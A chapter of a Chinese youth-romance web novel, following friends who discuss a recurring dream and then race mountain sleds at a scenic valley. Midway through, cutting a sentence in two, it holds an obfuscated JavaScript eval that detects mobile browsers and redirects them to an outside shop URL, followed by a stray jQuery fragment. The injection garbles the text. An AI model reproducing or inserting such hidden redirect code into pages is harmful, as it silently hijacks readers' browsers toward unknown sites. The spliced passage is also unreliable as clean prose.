“好神奇的……梦。”许知鱼尚且沉浸在许应年冷静的叙述中,久久无法回神,“像是真的一样。”
“确实哦。”盛昭亦啧啧称奇。
一直在过道旁俯身聆听的黎砚舟,扶了下金丝眼镜的镜框,提出了一个问题:“你一般什么时候会做类似的梦?有规律或者周期性吗?”
“没有,都是不定时的。”许应年沉吟片刻,淡淡道。
“如果是经常做梦梦见一个人的话,我建议你去看看医生,”黎砚舟半开玩笑道:“有一个专业术语叫感情创伤后遗症,通常刚分手的情侣会有类似的体验,频繁地梦到已经分手的另一半,实际上是将人分手后经历的痛苦和内耗通过梦境消解,直到恢复正常。”
难得许应年和黎砚舟能如此心平气和、有问有答地聊天,许知鱼偷偷弯起嘴角,从中间的座位探出一个脑袋,道:“可是,砚舟,阿年从他八、九岁的时候就梦见那个女孩儿了,难不成他那么小的时候就有一段罗曼蒂克史了?”
黎砚舟调侃道:“可能是许同学比较早熟也不一定?”
许应年:“……”得,你们高兴就好。
·
待许知鱼等人到达大棠谷,已经接近正午。春光明媚,浮动的光影自嫩叶的间隙探出。
放眼望去,四周是一片怡人的如旷野般的绿,时不时可以听到“卟——噜噜”“卟——噜噜”的不知名鸟儿富有节奏的鸣叫。
万幸,因为是周三工作日,来大棠谷游玩的人流并不多。
基地导师和学院的老师们,亦都很体谅大家迫不及待想要玩乐的心情,一到达目的地,只略略叮嘱几句,便放行了众多学生们。
盛昭从大棠谷入口的售票处外沿的架格上,掏了一张大棠谷游览地图和玩乐项目。由自告奋勇的盛昭带路,许知鱼一行相继走在嫩青色草场旁的鹅卵石路上。
毗连的草场上,有一串向远处延伸的鸽灰轨道,迷你的绿皮小火车从东面款款驶来,又逐渐消失,仿佛一条游弋在草地中的蛇。
沁蓝的苍穹下,可以眺望到草场某地围着一圈偌大的栅栏,成群的羔羊被圈养其中,或是“咩咩”地不知疲倦地叫唤着,或是安静闲适地咀嚼鲜嫩的草汁。
盛昭就像一只欢快的花蝴蝶,带着许知鱼等人到羊圈旁拍照打卡,他还特别大胆地抚摸了一下羊只白中泛黄的绒毛。
根据盛昭后来所言,羊毛摸上去的感觉软而温热,就像滑嫩的云朵一样。
从羊圈一直往前走,便会有一个插着彩旗的站点。
彩旗随风猎猎展开,几人就在站点前等着坐绿皮小火车。
绿皮小火车每一刻钟来一趟。
之前的班次才刚刚走,于是许知鱼等人又耐着性子等了十五分钟。
因盛昭之前毛遂自荐当领队,他研究了游览地图一会儿,与许知鱼他们说山道飞车很好玩,于是,坐上绿皮车没多久,许知鱼他们便在大棠谷内的清风山脚下了站。
山脚铺展着一条长长的黑色自动传送带,繁复曲折,一直潺潺滚动绵延到山顶。
传送带旁的蜿蜒山道,用漏孔状的绿纱布隔断,从外隐隐约约可以看到栈道内的情形。
山道内,不时疾驰过用玻璃钢脱模制成、橡胶轮的飞车,或是传出人们激动的尖叫。
待许知鱼几人由传送带输送到山顶,已经有澜禾的学生和学院外的游客零零星星地排起队列,几人稍微又等待片刻,才轮到他们。
负责山道飞车项目的大伯手脚麻利地丢了四个单座飞车给他们,催促许知鱼几人赶紧挨个儿坐上去,后面还有人排队等着。
“你们先下去吧,”黎砚舟眉目微锁,引颈从高处往空寂广阔的山道望去,面容略微苍白,“我殿后。”
盛昭已经快速地坐上飞车车座,握住方向盘,侧头往黎砚舟的方向看,幸灾乐祸地眨巴着大眼睛,以一种吃瓜看戏的语气问道:“你不会畏高吧?”
黎砚舟温文尔雅地弯唇浅笑,不卑不亢道:“可能稍微有些。不过,这种程度的高度应该也可以接受。”
“那就祝你好运咯。”盛昭转回身,潇洒地对黎砚舟挥挥手,扬声对许知鱼几人道:“你们快些来,我先下了,在山脚等你们。”
“慢着,”不知何时消失的大伯,双手各拖了一架体型稍大的飞车疾步走过来,将两架飞车扔在地上,没好气地一指山道口直立在一旁的告示牌,“没看到字儿吗?若没有工作人员协助,不可以擅自下山道,快回来。”
盛昭略囧,迈出两条大长腿从飞车上下来,眼神往大伯新拿的那两架飞车之间来回瞟移,奇道:“哇,这两架怎么是双人座的?看起来好高级。”
大伯继续用那种没好气的语气,一指黎砚舟,“这娃儿不是畏高吗?干脆给你们弄个双人座。”
“那就谢谢阿伯啦。”盛昭最是嘴甜,眨巴着大眼对大伯道谢,一面不由分说地牵住往单人座方向走去的许应年,道:“阿年,好不容易能有双人座,你就别自己一个人了。想必砚舟定是跟小鱼儿一起,你不如与我坐一块儿,我们跟小鱼儿那车比一比,到底是谁飞得快。”
“我来开。”沉吟过后,许应年微微颔首,提出一个条件。
盛昭很爽快地答应:“没问题。”
许应年一面跨上车,一面扭头问也已坐上飞车,正在系安全带的许知鱼,“赌吗?”
许知鱼挑眉:“赌什么?”
许应年:“赌谁先到终点。”
许知鱼:“……我问的是赌的内容是什么。”
盛昭脑筋转得最快,兴致勃勃地插话,“小鱼儿你跟砚舟不都是绿社的吗?之前预告绿社赢得真人CS后,有烧烤的福利。不如这样,若是我和阿年赢了,你和黎砚舟撸的烤串分我们一半。”
“可以吗?”许知鱼回身,探寻的眸光与黎砚舟交汇,便见他含笑地点点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323861|146843||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头,声音轻柔而坚定:“小鱼儿一定可以赢的。”
“走——喽——”
随着大伯中气十足、抑扬顿挫地一声长吼,以许知鱼、许应年为首的双座飞车如同两道银瓶乍迸的水浆,直直冲坡度高的山道,如水般流泻而下。
山道修建得笔直而宽敞,完全有能力同时兼容两辆车身。
除了用方向盘控制方向、脚刹减缓速度外,飞车几乎是以一种自由落体的姿态往山道下冲去。
被大伯推出去的一刹那,许知鱼和许应年都没有做刹车措施。
不过,随着时间的推移,坡道愈来愈陡,林风在周身呼啸,“呜呜”地灌入内耳,眼周的景物几乎被模糊成快速的残影。
许知鱼感觉到身后的少年似乎变得有些紧张,原本只是浅浅搭在她双肩上的骨指,如今却非常用力地深深扣进去,仿佛鹰隼的利爪。
蔓延的痛意一直延伸到肩胛骨,许知鱼下意识倒抽一口凉气,不由急踩脚刹,放慢了速度,大声对黎砚舟喊道:“要是觉得我开得太快就搂我的腰,我不介意的!”
肩膀上的力微微放松,再没有方才那么疼痛难忍了。
许知鱼微微轻吐一口气。
黎砚舟犹豫了好一小会儿,才改将扶在许知鱼肩上的手,环住她的腰。
黎砚舟的手臂温热而有力,没有想象中的那么纤瘦。
隔着轻薄的短衫布料,许知鱼甚至察觉得到他的双手,在微微的不自觉地发抖。
方才黎砚舟镇定自若与盛昭回嘴的画面,一刹那自脑海中闪过,许知鱼不禁有些好笑。
看来啊,青春期的少年们,都是很好面子的生物。
不论私底下有多怕,在众人面前一定会表现出一副云淡风轻、无所畏惧的模样。
只不过这一瞬间的小插曲,盛昭和许应年便已经趁机超过许知鱼两人。
许知鱼只在耳边听到车盘摩擦山道“咯吱咯吱”的声音,一道急速的白光从眼角飞出,伴随盛昭在后座传来的得意叫喊,“我们先走一步,拜拜。”
可惜,飞车没有加速键,否则许知鱼一定会火力全开,尝试赶超许应年。好在没过多久,坡道出现微微拢起的堆,占足先机的许应年那一车怕被绊倒,踩了急刹,速度肉眼可见地慢下来。
许知鱼心中还惦记着在山道上与少年们的赌约,觉得此刻是个好时机,把心一横,直接顺其自然地任由飞车“嘭”一下撞上隆起处,车身微微离地又落下,一阵悬空感袭来,下一秒,又重重归于实处,仿佛失去的地心引力又再次出现。心脏怦怦直跳、抽动,如嗡扇的蜜蜂翅膀,以一种快而密的频率颤动着。
四人、两车就这般你追我赶,互相牵制而不相让。漫长的山道似乎再看不见尽头,三月的春天淋漓少年们的汗水和车轧的痕迹。青春以一种迷人而不可控的姿态展现,在林风的呼啸里,在他们羽睫轻眨,仍然紧紧目视前方路况的眸中。